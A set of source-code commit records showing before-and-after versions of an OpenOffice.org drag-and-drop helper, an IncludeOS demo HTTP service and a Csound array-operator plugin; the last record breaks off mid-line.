\"globals.hxx\"\n\n\/\/--> TRA\n#ifndef _COM_SUN_STAR_DATATRANSFER_XTRANSFERABLE_HPP_\n#include <com\/sun\/star\/datatransfer\/XTransferable.hpp>\n#endif\n\n\/\/ used as shortcut when drag-source and drop-target are the same\n::com::sun::star::uno::Reference< ::com::sun::star::datatransfer::XTransferable > g_XTransferable;\n\n\/\/<-- TRA\n\nusing namespace com::sun::star::datatransfer::dnd::DNDConstants;\n\nsal_Int8 dndOleKeysToAction( DWORD grfKeyState, sal_Int8 nSourceActions)\n{\n    sal_Int8 ret= 0;\n\n    \/\/ no MK_ALT, MK_CONTROL, MK_SHIFT\n    if( !(grfKeyState & MK_CONTROL) &&\n        !(grfKeyState & MK_ALT)    &&\n        !(grfKeyState & MK_RBUTTON) &&\n        !(grfKeyState & MK_SHIFT))\n    {\n        if( nSourceActions & ACTION_MOVE )\n        {\n            ret= ACTION_DEFAULT | ACTION_MOVE;\n        }\n\n        else if( nSourceActions & ACTION_COPY )\n        {\n            ret= ACTION_COPY;\n        }\n\n        else if( nSourceActions & ACTION_LINK )\n        {\n            ret= ACTION_LINK;\n        }\n\n        else\n            ret = 0;\n    }\n    else if( grfKeyState & MK_SHIFT &&\n            !(grfKeyState & MK_CONTROL))\n    {\n        ret= ACTION_MOVE;\n    }\n    else if ( grfKeyState & MK_CONTROL &&\n              !(grfKeyState & MK_SHIFT) )\n    {\n        ret= ACTION_COPY;\n    }\n    else if ( grfKeyState & MK_CONTROL &&\n              grfKeyState & MK_SHIFT)\n    {\n        ret= ACTION_LINK;\n    }\n    else if ( grfKeyState & MK_RBUTTON |\n              grfKeyState & MK_ALT)\n    {\n        ret= ACTION_COPY_OR_MOVE | ACTION_LINK;\n    }\n    return ret;\n}\n\n\nsal_Int8 dndOleDropEffectsToActions( DWORD dwEffect)\n{\n    sal_Int8 ret= ACTION_NONE;\n    if( dwEffect & DROPEFFECT_COPY)\n        ret |= ACTION_COPY;\n    if( dwEffect & DROPEFFECT_MOVE)\n        ret |= ACTION_MOVE;\n    if( dwEffect & DROPEFFECT_LINK)\n        ret |= ACTION_LINK;\n\n    return ret;\n}\n\nDWORD dndActionsToDropEffects( sal_Int8 actions)\n{\n    DWORD ret= DROPEFFECT_NONE;\n    if( actions & ACTION_MOVE)\n        ret |= DROPEFFECT_MOVE;\n    if( actions & ACTION_COPY)\n        ret |= DROPEFFECT_COPY;\n    if( actions & ACTION_LINK)\n        ret |= DROPEFFECT_LINK;\n    if( actions & ACTION_DEFAULT)\n        ret |= DROPEFFECT_COPY;\n    return ret;\n}\n\nDWORD dndActionsToSingleDropEffect( sal_Int8 actions)\n{\n    DWORD effects= dndActionsToDropEffects( actions);\n\n    sal_Int8 countEffect= 0;\n\n    if( effects & DROPEFFECT_MOVE)\n        countEffect++;\n    if( effects & DROPEFFECT_COPY)\n        countEffect++;\n    if( effects & DROPEFFECT_LINK)\n        countEffect++;\n\n    \/\/ DROPEFFECT_MOVE is the default effect\n    DWORD retVal= countEffect > 1 ? DROPEFFECT_MOVE : effects;\n    return retVal;\n}\n<commit_msg>INTEGRATION: CWS ooo19126 (1.7.176); FILE MERGED 2005\/09\/05 18:48:16 rt 1.7.176.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: globals.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 18:16:38 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_DATATRANSFER_DND_DNDCONSTANTS_HPP_\n#include <com\/sun\/star\/datatransfer\/dnd\/DNDConstants.hpp>\n#endif\n\n#include \"globals.hxx\"\n\n\/\/--> TRA\n#ifndef _COM_SUN_STAR_DATATRANSFER_XTRANSFERABLE_HPP_\n#include <com\/sun\/star\/datatransfer\/XTransferable.hpp>\n#endif\n\n\/\/ used as shortcut when drag-source and drop-target are the same\n::com::sun::star::uno::Reference< ::com::sun::star::datatransfer::XTransferable > g_XTransferable;\n\n\/\/<-- TRA\n\nusing namespace com::sun::star::datatransfer::dnd::DNDConstants;\n\nsal_Int8 dndOleKeysToAction( DWORD grfKeyState, sal_Int8 nSourceActions)\n{\n    sal_Int8 ret= 0;\n\n    \/\/ no MK_ALT, MK_CONTROL, MK_SHIFT\n    if( !(grfKeyState & MK_CONTROL) &&\n        !(grfKeyState & MK_ALT)    &&\n        !(grfKeyState & MK_RBUTTON) &&\n        !(grfKeyState & MK_SHIFT))\n    {\n        if( nSourceActions & ACTION_MOVE )\n        {\n            ret= ACTION_DEFAULT | ACTION_MOVE;\n        }\n\n        else if( nSourceActions & ACTION_COPY )\n        {\n            ret= ACTION_COPY;\n        }\n\n        else if( nSourceActions & ACTION_LINK )\n        {\n            ret= ACTION_LINK;\n        }\n\n        else\n            ret = 0;\n    }\n    else if( grfKeyState & MK_SHIFT &&\n            !(grfKeyState & MK_CONTROL))\n    {\n        ret= ACTION_MOVE;\n    }\n    else if ( grfKeyState & MK_CONTROL &&\n              !(grfKeyState & MK_SHIFT) )\n    {\n        ret= ACTION_COPY;\n    }\n    else if ( grfKeyState & MK_CONTROL &&\n              grfKeyState & MK_SHIFT)\n    {\n        ret= ACTION_LINK;\n    }\n    else if ( grfKeyState & MK_RBUTTON |\n              grfKeyState & MK_ALT)\n    {\n        ret= ACTION_COPY_OR_MOVE | ACTION_LINK;\n    }\n    return ret;\n}\n\n\nsal_Int8 dndOleDropEffectsToActions( DWORD dwEffect)\n{\n    sal_Int8 ret= ACTION_NONE;\n    if( dwEffect & DROPEFFECT_COPY)\n        ret |= ACTION_COPY;\n    if( dwEffect & DROPEFFECT_MOVE)\n        ret |= ACTION_MOVE;\n    if( dwEffect & DROPEFFECT_LINK)\n        ret |= ACTION_LINK;\n\n    return ret;\n}\n\nDWORD dndActionsToDropEffects( sal_Int8 actions)\n{\n    DWORD ret= DROPEFFECT_NONE;\n    if( actions & ACTION_MOVE)\n        ret |= DROPEFFECT_MOVE;\n    if( actions & ACTION_COPY)\n        ret |= DROPEFFECT_COPY;\n    if( actions & ACTION_LINK)\n        ret |= DROPEFFECT_LINK;\n    if( actions & ACTION_DEFAULT)\n        ret |= DROPEFFECT_COPY;\n    return ret;\n}\n\nDWORD dndActionsToSingleDropEffect( sal_Int8 actions)\n{\n    DWORD effects= dndActionsToDropEffects( actions);\n\n    sal_Int8 countEffect= 0;\n\n    if( effects & DROPEFFECT_MOVE)\n        countEffect++;\n    if( effects & DROPEFFECT_COPY)\n        countEffect++;\n    if( effects & DROPEFFECT_LINK)\n        countEffect++;\n\n    \/\/ DROPEFFECT_MOVE is the default effect\n    DWORD retVal= countEffect > 1 ? DROPEFFECT_MOVE : effects;\n    return retVal;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <cmath>   \/\/ rand()\n#include <sstream>\n\n#include <os>\n#include <net\/inet4>\n#include <net\/dhcp\/dh4client.hpp>\n\nusing namespace std::chrono;\n\nstd::string HTML_RESPONSE();\n\nvoid create_server(net::TCP::Connection& conn)\n{\n  \/\/ Add a TCP connection handler - here a hardcoded HTTP-service\n  conn.onAccept(\n  [] (auto conn) -> bool\n  {\n    printf(\"<Service> @onAccept - Connection attempt from: %s \\n\",\n           conn->to_string().c_str());\n    return true; \/\/ allow all connections\n\n  }).onConnect(\n  [] (auto conn) {\n    printf(\"<Service> @onConnect - Connection successfully established.\\n\");\n    \/\/ read async with a buffer size of 1024 bytes\n    \/\/ define what to do when data is read\n    conn->read(1024, [conn](net::TCP::buffer_t buf, size_t n) {\n        \/\/ create string from buffer\n        std::string data { (char*)buf.get(), n };\n        printf(\"<Service> @read:\\n%s\\n\", data.c_str());\n\n        \/\/ create response\n        std::string response = HTML_RESPONSE();\n        \/\/ write the data from the string with the strings size\n        conn->write(response.data(), response.size(), [](size_t n) {\n            printf(\"<Service> @write: %u bytes written\\n\", n);\n          });\n      });\n\n  }).onDisconnect(\n  [] (auto conn, auto reason) {\n      printf(\"<Service> @onDisconnect - Reason: %s \\n\", reason.to_string().c_str());\n      conn->close();\n  });\n}\n\nvoid Service::start() {\n  srand(OS::cycles_since_boot());\n\n  \/\/ Two IP-stack objects\n\n  \/\/ Stack with network interface (eth0) driven by VirtioNet\n  \/\/ DNS address defaults to 8.8.8.8\n  \/\/ Static IP configuration, until we (possibly) get DHCP\n  \/\/ @note : Mostly to get a robust demo service that works with and without DHCP\n  static auto inet1 = net::new_ipv4_stack<>({ 10,0,0,42 },      \/\/ IP\n                                            { 255,255,255,0 },  \/\/ Netmask\n                                            { 10,0,0,1 });      \/\/ Gateway\n\n  \/\/ Assign a driver (VirtioNet) to network interface (eth1)\n  \/\/ @note: We could determine the appropirate driver dynamically, but then we'd\n  \/\/ have to include all the drivers into the image, which we want to avoid.\n  static auto inet2 = net::new_ipv4_stack<1,VirtioNet>({ 20,0,0,42 },      \/\/ IP\n                                                       { 255,255,255,0 },  \/\/ Netmask\n                                                       { 20,0,0,1 });      \/\/ Gateway\n  \/\/ Set up a TCP server on port 80\n  auto& server1 = inet1->tcp().bind(80);\n  create_server(server1);\n\n  auto& server2 = inet2->tcp().bind(80);\n  create_server(server2);\n\n  \/\/ Print some useful netstats every 30 secs\n  hw::PIT::instance().onRepeatedTimeout(30s, [] {\n    printf(\"<INET_1> TCP STATUS:\\n\\t%s\\n\", inet1->tcp().status().c_str());\n    printf(\"<INET_2> TCP STATUS:\\n\\t%s\\n\", inet2->tcp().status().c_str());\n  });\n\n  printf(\"*** TEST SERVICE STARTED *** \\n\");\n}\n\n\nstd::string HTML_RESPONSE() {\n  const int color = rand();\n\n  \/* HTML Fonts *\/\n  const std::string ubuntu_medium = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 500; \";\n  const std::string ubuntu_normal = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 400; \";\n  const std::string ubuntu_light  = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 300; \";\n\n  \/* HTML *\/\n  std::stringstream stream;\n  stream << \"<!DOCTYPE html><html><head>\"\n         << \"<link href='https:\/\/fonts.googleapis.com\/css?family=Ubuntu:500,300' rel='stylesheet' type='text\/css'>\"\n         << \"<\/head><body>\"\n         << \"<h1 style='color: #\" << std::hex << (color >> 8) << \"'>\"\n         <<  \"<span style='\"+ubuntu_medium+\"'>Include<\/span><span style='\"+ubuntu_light+\"'>OS<\/span><\/h1>\"\n         <<  \"<h2>Now speaks TCP!<\/h2>\"\n         \/\/ .... generate more dynamic content\n         << \"<p>  ...and can improvise http. With limitations of course, but it's been easier than expected so far <\/p>\"\n         << \"<footer><hr\/> &copy; 2015, Oslo and Akershus University College of Applied Sciences <\/footer>\"\n         << \"<\/body><\/html>\";\n\n  const std::string html = stream.str();\n\n  const std::string header\n  {\n    \"HTTP\/1.1 200 OK\\n\"\n    \"Date: Mon, 01 Jan 1970 00:00:01 GMT\\n\"\n    \"Server: IncludeOS prototype 4.0\\n\"\n    \"Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT\\n\"\n    \"Content-Type: text\/html; charset=UTF-8\\n\"\n    \"Content-Length: \"+std::to_string(html.size())+\"\\n\"\n    \"Accept-Ranges: bytes\\n\"\n    \"Connection: close\\n\\n\"\n  };\n\n  return header + html;\n}\n<commit_msg>Tightened up newlines in output<commit_after>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <cmath>   \/\/ rand()\n#include <sstream>\n\n#include <os>\n#include <net\/inet4>\n#include <net\/dhcp\/dh4client.hpp>\n\nusing namespace std::chrono;\n\nstd::string HTML_RESPONSE();\n\nvoid create_server(net::TCP::Connection& conn)\n{\n  \/\/ Add a TCP connection handler - here a hardcoded HTTP-service\n  conn.onAccept(\n  [] (auto conn) -> bool\n  {\n    printf(\"<Service> @onAccept - Connection attempt from: %s\\n\",\n           conn->to_string().c_str());\n    return true; \/\/ allow all connections\n\n  }).onConnect(\n  [] (auto conn) {\n    printf(\"<Service> @onConnect - Connection successfully established.\\n\");\n    \/\/ read async with a buffer size of 1024 bytes\n    \/\/ define what to do when data is read\n    conn->read(1024, [conn](net::TCP::buffer_t buf, size_t n) {\n        \/\/ create string from buffer\n        std::string data { (char*)buf.get(), n };\n        printf(\"<Service> @read:\\n%s\\n\", data.c_str());\n\n        \/\/ create response\n        std::string response = HTML_RESPONSE();\n        \/\/ write the data from the string with the strings size\n        conn->write(response.data(), response.size(), [](size_t n) {\n            printf(\"<Service> @write: %u bytes written\\n\", n);\n          });\n      });\n\n  }).onDisconnect(\n  [] (auto conn, auto reason) {\n      printf(\"<Service> @onDisconnect - Reason: %s\\n\", reason.to_string().c_str());\n      conn->close();\n  });\n}\n\nvoid Service::start() {\n  srand(OS::cycles_since_boot());\n\n  \/\/ Two IP-stack objects\n\n  \/\/ Stack with network interface (eth0) driven by VirtioNet\n  \/\/ DNS address defaults to 8.8.8.8\n  \/\/ Static IP configuration, until we (possibly) get DHCP\n  \/\/ @note : Mostly to get a robust demo service that works with and without DHCP\n  static auto inet1 = net::new_ipv4_stack<>({ 10,0,0,42 },      \/\/ IP\n                                            { 255,255,255,0 },  \/\/ Netmask\n                                            { 10,0,0,1 });      \/\/ Gateway\n\n  \/\/ Assign a driver (VirtioNet) to network interface (eth1)\n  \/\/ @note: We could determine the appropirate driver dynamically, but then we'd\n  \/\/ have to include all the drivers into the image, which we want to avoid.\n  static auto inet2 = net::new_ipv4_stack<1,VirtioNet>({ 20,0,0,42 },      \/\/ IP\n                                                       { 255,255,255,0 },  \/\/ Netmask\n                                                       { 20,0,0,1 });      \/\/ Gateway\n  \/\/ Set up a TCP server on port 80\n  auto& server1 = inet1->tcp().bind(80);\n  create_server(server1);\n\n  auto& server2 = inet2->tcp().bind(80);\n  create_server(server2);\n\n  \/\/ Print some useful netstats every 30 secs\n  hw::PIT::instance().onRepeatedTimeout(30s, [] {\n    printf(\"<INET_1> TCP STATUS:\\n\\t%s\\n\", inet1->tcp().status().c_str());\n    printf(\"<INET_2> TCP STATUS:\\n\\t%s\\n\", inet2->tcp().status().c_str());\n  });\n\n  printf(\"*** TEST SERVICE STARTED ***\\n\");\n}\n\n\nstd::string HTML_RESPONSE() {\n  const int color = rand();\n\n  \/* HTML Fonts *\/\n  const std::string ubuntu_medium = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 500; \";\n  const std::string ubuntu_normal = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 400; \";\n  const std::string ubuntu_light  = \"font-family: \\'Ubuntu\\', sans-serif; font-weight: 300; \";\n\n  \/* HTML *\/\n  std::stringstream stream;\n  stream << \"<!DOCTYPE html><html><head>\"\n         << \"<link href='https:\/\/fonts.googleapis.com\/css?family=Ubuntu:500,300' rel='stylesheet' type='text\/css'>\"\n         << \"<\/head><body>\"\n         << \"<h1 style='color: #\" << std::hex << (color >> 8) << \"'>\"\n         <<  \"<span style='\"+ubuntu_medium+\"'>Include<\/span><span style='\"+ubuntu_light+\"'>OS<\/span><\/h1>\"\n         <<  \"<h2>Now speaks TCP!<\/h2>\"\n         \/\/ .... generate more dynamic content\n         << \"<p>  ...and can improvise http. With limitations of course, but it's been easier than expected so far <\/p>\"\n         << \"<footer><hr\/> &copy; 2015, Oslo and Akershus University College of Applied Sciences <\/footer>\"\n         << \"<\/body><\/html>\";\n\n  const std::string html = stream.str();\n\n  const std::string header\n  {\n    \"HTTP\/1.1 200 OK\\n\"\n    \"Date: Mon, 01 Jan 1970 00:00:01 GMT\\n\"\n    \"Server: IncludeOS prototype 4.0\\n\"\n    \"Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT\\n\"\n    \"Content-Type: text\/html; charset=UTF-8\\n\"\n    \"Content-Length: \"+std::to_string(html.size())+'\\n'\n    \"Accept-Ranges: bytes\\n\"\n    \"Connection: close\\n\\n\"\n  };\n\n  return header + html;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  arrayops.c: array operators\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n  02111-1307 USA\n*\/\n#include <plugin.h>\n#include <algorithm>\n#include <cmath>\n\nstatic inline MYFLT frac(MYFLT f) { return std::modf(f,nullptr); }\nstatic inline MYFLT pof2(MYFLT f) { return std::pow(2.,f); }\n\n\/** i-time, k-rate operator\n    kout[] op kin[]\n *\/\ntemplate<double (*op)(double)>\nstruct ArrayOp : csnd::Plugin<1, 1> {\n  int init() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in = inargs.vector_data<MYFLT>(0);\n    out.init(csound,in.len());\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n    return OK;\n  }\n\n  int kperf() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in = inargs.vector_data<MYFLT>(0);\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n\n    return OK;\n  }\n};\n\n\n\/** Module creation, initalisation and destruction\n *\/\nextern \"C\" {\nPUBLIC int csoundModuleInit(CSOUND *csound) {\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<pof2>>(csound, \"powoftwo\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<pof2>>(csound, \"powoftwo\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  return 0;\n}\nPUBLIC int csoundModuleCreate(CSOUND *csound) { return 0; }\nPUBLIC int csoundModuleDestroy(CSOUND *csound) { return 0; }\n}\n<commit_msg>binops for arrays<commit_after>\/*\n  arrayops.c: array operators\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n  02111-1307 USA\n*\/\n#include <plugin.h>\n#include <algorithm>\n#include <cmath>\n\nstatic inline MYFLT frac(MYFLT f) { return std::modf(f,&f); }\n\n\/** i-time, k-rate operator\n    kout[] op kin[]\n *\/\ntemplate<MYFLT (*op)(MYFLT)>\nstruct ArrayOp : csnd::Plugin<1, 1> {\n  int init() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in = inargs.vector_data<MYFLT>(0);\n    out.init(csound,in.len());\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n    return OK;\n  }\n\n  int kperf() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in = inargs.vector_data<MYFLT>(0);\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n\n    return OK;\n  }\n};\n\n\/** i-time, k-rate binary operator\n    kout[] op kin1[], kin2[]\n *\/\ntemplate<MYFLT (*bop)(MYFLT, MYFLT)>\nstruct ArrayOp2 : csnd::Plugin<1, 2> {\n  int init() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in1 = inargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in2 = inargs.vector_data<MYFLT>(0);\n    if(in2.len() < in1.len())\n      return csound->InitError(csound, \"second input array is too short\\n\"); \n    out.init(csound,in1.len());\n    std::transform(in1.begin(), in1.end(), in2.begin(), out.begin(),\n                   [](MYFLT f1, MYFLT f2) { return bop(f1,f2); });\n    return OK;\n  }\n\n  int kperf() {\n    csnd::Vector<MYFLT> &out = outargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in1 = inargs.vector_data<MYFLT>(0);\n    csnd::Vector<MYFLT> &in2 = inargs.vector_data<MYFLT>(0);\n    std::transform(in1.begin(), in1.end(), in2.begin(), out.begin(),\n                   [](MYFLT f1, MYFLT f2) { return bop(f1,f2); });\n\n    return OK;\n  }\n};\n\n\n\n\/** Module creation, initalisation and destruction\n *\/\nextern \"C\" {\nPUBLIC int csoundModuleInit(CSOUND *csound) {\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", 